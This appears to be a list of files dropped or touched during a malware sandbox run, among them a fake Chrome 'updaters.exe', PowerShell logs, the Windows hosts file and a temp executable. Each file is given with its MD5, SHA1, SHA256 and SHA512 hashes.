SHA512 9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

C:\Program Files\Google\Chrome\updaters.exe

MD5 5f2f1ae240812065799e8c05d3a01aa7
SHA1 e14d1c6a64f27267c688b695da84b7a9527a3d13
SHA256 adad69d9a6bf24c7739cc25cf4def1b96d05accc349ed86e9200d404c039ad03
SHA512 d92339a954509b988b6eb3b7508182a7773489aa27ed88ddaf6c5f3a3f26f345c8463bf688b40cc99b9728bc47c1b4e1ad8175a9e07fe576a216c9521cb07f50

C:\Program Files\Google\Chrome\updaters.exe

MD5 5f2f1ae240812065799e8c05d3a01aa7
SHA1 e14d1c6a64f27267c688b695da84b7a9527a3d13
SHA256 adad69d9a6bf24c7739cc25cf4def1b96d05accc349ed86e9200d404c039ad03
SHA512 d92339a954509b988b6eb3b7508182a7773489aa27ed88ddaf6c5f3a3f26f345c8463bf688b40cc99b9728bc47c1b4e1ad8175a9e07fe576a216c9521cb07f50

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 9faf6f9cd1992cdebfd8e34b48ea9330
SHA1 ae792d2551c6b4ad5f3fa5585c0b0d911c9f868e
SHA256 0c45700b2e83b229e25383569b85ddc0107450c43443a11633b53daf1aaed953
SHA512 05b34627f348b2973455691bcb7131e4a5236cfece653d22432746ccd14d211b9b279f0913fbd7bb150f00eb2f2c872f4f5518f3903e024699fd23c50d679e97

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 33d9286a05f53e760a6b1af8e4891b28
SHA1 a482b397ca4a70ca35f3cb4193265cadd156d566
SHA256 aea628e2e0b41a8d11ffddc160a270ad6f259bc460bf7be92c0f43c9282b2b24
SHA512 0b04f6f058f9d104093cbb87269b0f4b789c6667e39c0f39eb3bde704a9c75ceb0e402a46ed7c8a201794d8f849e20eac8ebc10e0d06758ae8fe384b8df28ef6

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 68d09a46bba4e1eade2f44a2e95da3d5
SHA1 55cd1131eeea2f5e6e53264278d954219da90983
SHA256 b573c75ab2c02d2b47d650f359237b25d6ec6e95dd65ad32e96461aa01d0dd92
SHA512 db6aba64027a9258994bfae7bf36d4852a3a5a5cb564ead0bf76a619447fde62f529b13e15335b3c60e47b8a26d4cf7a2bd36bc1d475af750761ea35f9667f4e

C:\Windows\system32\drivers\etc\hosts

MD5 23fe306d33dea7acaf8d7adb3ebcf88c
SHA1 048a537ecf8d7949c5112950eccb4ff0941d00f3
SHA256 0fd245bfb504d1d1960d46680cc6aa01597747ff6c9bb37cc2b0101bc36f5f5c
SHA512 f7ce42890a53cfa1266966e97c2f31ab272a23cfec2b5750757887dda38b7ad224c27949f3bc2d6be7d5a6400f4391a908c2e1aea6c8db193f89f7764f87c7b1

C:\Users\Admin\AppData\Local\Temp\rcdbnywd.zow0.exe

MD5 396ddd858052a37eb36b762d414121c1
SHA1 a0650935923461b104100d224b091ef8cf0870cf
SHA256 00395871a19b4c54d22302b7201df1a1b8e276edb148d08d1f77d1245e3e0886
SHA512 b11a0cb419c803d294a7a4bced1954de9c5d42fbbb25e5f63246e08dd70a5165ab281d8ddc8fcbb59dad98691d24583733c72479282d1ed7515d258c67d7fd56